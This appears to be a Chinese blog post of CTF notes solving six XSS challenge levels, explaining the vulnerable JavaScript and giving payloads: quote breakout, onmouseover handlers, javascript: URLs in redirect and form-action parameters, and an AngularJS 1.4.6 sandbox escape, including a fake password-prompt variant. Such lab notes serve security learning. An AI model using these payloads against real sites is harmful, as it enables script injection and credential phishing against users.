xss—ctf做题笔记
xss—ctf做题笔记
(1)第一关直接加
<script>alert(1)</script>
(2)第二关有过滤
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = '<script>alert(1)</script>';
document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>
search 属性是一个可读可写的字符串,可设置或返回当前 URL 的查询部分(问号 ? 之后的部分)
location.search
实例:返回URL的查询部分。假设当前的URL就是http://www.runoob.com/submit.htm?email=someone@ example.com:
<script>
document.write(location.search);
</script>
结果:?email=someone@example.com
var 语句用于声明变量。
var carName;
HTML DOM节点
在 HTML DOM (Document Object Model) 中 , 每一个元素都是 节点:
- 文档是一个文档节点。
- 所有的HTML元素都是元素节点。
- 所有 HTML 属性都是属性节点。
- 文本插入到 HTML 元素是文本节点。are text nodes。
- 注释是注释节点。
Document对象
当浏览器载入 HTML 文档, 它就会成为 Document 对像。
Document 对象是 HTML 文档的根节点。
Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。
提示:Document 对象是 Window 对象的一部分,可通过 window.document 属性对其进行访问。
document.activeElement : 返回当前获取焦点元素
document.getElementById(): 返回对拥有指定 id 的第一个对象的引用。
innerHTML:属性设置或返回表格行的开始和结束标签之间的 HTML。
escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。该方法不会对 ASCII 字母和数字进行编码,也不会对下面这些 ASCII 标点符号进行编码: * @ - _ + . / 。其他所有的字符都会被转义序列替换。
解题:
参考SQL注入的堆叠注入,闭合前面的单引号,注释后面的单引号,然后再把我们的js代码插入进去
';alert(1);'
等价于:
var username='';alert(1);'';
var username='';
alert(1);
'';
(3)第三关
看js脚本
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = 'xss';
document.getElementById('ccc').innerHTML= "Welcome " + username;
</script>
输入第二个的答案后:
var username = '\';alert(1);'';
发现’被转义成'\了,自动上了闭合的标签,不能执行标签里面的代码。
使用事件任何标签可以执行on事件,改用别的标签+on事件试试
先输入一个a标签试试水,发现确实可以用
使用a标签+鼠标滑过事件
<a onmouseover="alert(1)">111
当鼠标滑过增加的这个a标签时,触发alert
(4) 第四关
js脚本
<script type="text/javascript">
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
jumpUrl:js脚本中自定义的函数用于刷新页面
getQueryVariable:获取url参数
href 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL
location.href
<script type="text/javascript">
//不用说了time为10肯定就是10秒了
var time = 10;
var jumpUrl;
//jumpUrl这个参数是个啥,不太清楚,百度搜了半天也没搜到,看来不是系统的参数,就是自定义的
//也就是说下面的意思是说,获取参数jumpUrl
//getQueryVariable结果为false,就赋为location.href;为true,getQueryVariable并把jumpUrl传过去,并赋值为函数的返回值
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
//下面就是一些赋值和十秒倒计时
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
//关键在这里
function getQueryVariable(variable)
{
//拿到URL中,从?开始的参数部分然后以&进行分割,分成数组
//这里for循环嵌套if不太好说明,做一个变量跟踪吧
//首先,我们需要想到的是,既然有&,并且上面提到了jumpUrl变量,那我们就得构造一个&jumpUrl变量
//这个函数returnjumpUrl的值给到上面倒计时中的innerHTML、
//下面细说
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
//这里细说,这个循环虽然很简单,但是逻辑不是只言片语就能说清楚的,所以我们采取变量跟踪的方式
//假设构造jumpUrl=<script>alert(1)</script>,那么variable=jumpUrl=<script>alert(1)</script>
//query为:username=xss&jumpUrl=<script>alert(1)</script>
//vars为 vars[0]: username=xss, vars[1]: jumpUrl=<script>alert(1)</script>}
//开始进入for循环,i=0,vars.length为2,i<vars.length成立
//pair = [username,xss],pair[0] = username,pair[1] = xss,variable=jumpUrl
//pair[0] == variable不成立,不return,i++为1,i = 1 < vars.length = 2成立,继续循环
//pair = pair[0] = jumpUrl,pair[1] = <script>alert(1)</script>fanh,variable=jumpUrl
//pair[0] == variable成立,执行return,将<script>alert(1)</script>返回,这个函数的结果为<script>alert(1)</script>
//到上面后innerHTML就拼上了这么一段
//所以要强让这个函数不返回false,就必须在for循环中return,这就要求我们传过来的url中,必须带着jumpUrl参数
function getQueryVariable(variable=jumpUrl=){
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
伪协议
伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:我们可以在浏览地址栏里输入"javascript:alert('JS!');",点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。
js伪协议
(1)将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。
(2)在浏览器打开javascript:URL的时候,它会先运行URL中的代码,当返回值不为undefined的时候,前页链接会替换为这段代码的返回值。
javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
javascript:alert("hello world!")
javascript:window.open("about:blank"); void 0;
答案:
?username=xss&jumpUrl=javascript:alert(1)
(5)第五关
js代码:
<script type="text/javascript">
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
window.location
对象用于获得当前页面的地址 (URL),并把浏览器重定向到新的页面。
window.location.search.substring(1)
window.location 对象所包含的属性中 search表示从问号 (?) 开始的 URL(查询部分)所以window.location.search表示包含?的所有内容。window.location.search.substring(1) 就是 ?这位截取掉了,获得了 url地址后面所有的内容
split
split() 方法用于把一个字符串分割成字符串数组。
stringObject.split(separator,howmany)
separator:必需字符串或正则表达式,从该参数指定的地方分割 stringObject。
howmany:可选,参数可指定返回的数组的最大长度。如果设置了该参数,返回的子串不会多于这个参数指定的数组。如果没有设置该参数,整个字符串都会被分割,不考虑它的长度。
<script type="text/javascript">
var str="How are you doing today?"
document.write(str.split(" ") + "<br />")
document.write(str.split("") + "<br />")
document.write(str.split(" ",3))
</script>
js代码解释:
<script type="text/javascript">
//类比第四关中,getQueryVariable为false,就啥都不干,我们需要执行js代码,这显然不是我们要的
//如果想要为true,那就带上这个autosubmit参数
//但是貌似跟这个参数autosubmit参数值得关系不大,只是需要有这样一个参数,因为下面,都是在对另一个参数action操作
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
//这里又一次出现了getQueryVariable函数,其实就是得存在action
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
答案:
?autosubmit=1&action=javascript:alert(1)
(6)第六关
打开Wappalyzer,来一波信息搜集,发现 AngularJS 1.4.6
AngularJS(Angular)是一个著名的基于JavaScript的开源Web框架,用于前端编程。AngularJS主要用于使用模型视图控制器(MVC)和模型视图模型(MVVM)架构开发单页面应用程序这篇博文主要展示了如何武器化现有的AngularJS沙箱逃逸。但不要忘了,从Angular1.6及以后版本,Angular沙箱已被删除。此举动使框架代码更快、更小、更易于维护。删除此功能的主要原因是安全研究人员发现太多绕过方式已经严重影响了Angular功。
验证XSS
Angular(版本号小于1.6)内的典型XSS payload如下:
{{ 7 * 7 }}
沙箱逃逸
XSS已经确认,我们进行一个常见的沙箱逃逸
现在,我们可以用任何其他JavaScript函数替换“alert(1)”,例如,我们可以使用以下payload创建提示,要求输入密码:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };prompt("Please enter your password:")//');}}
答案:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构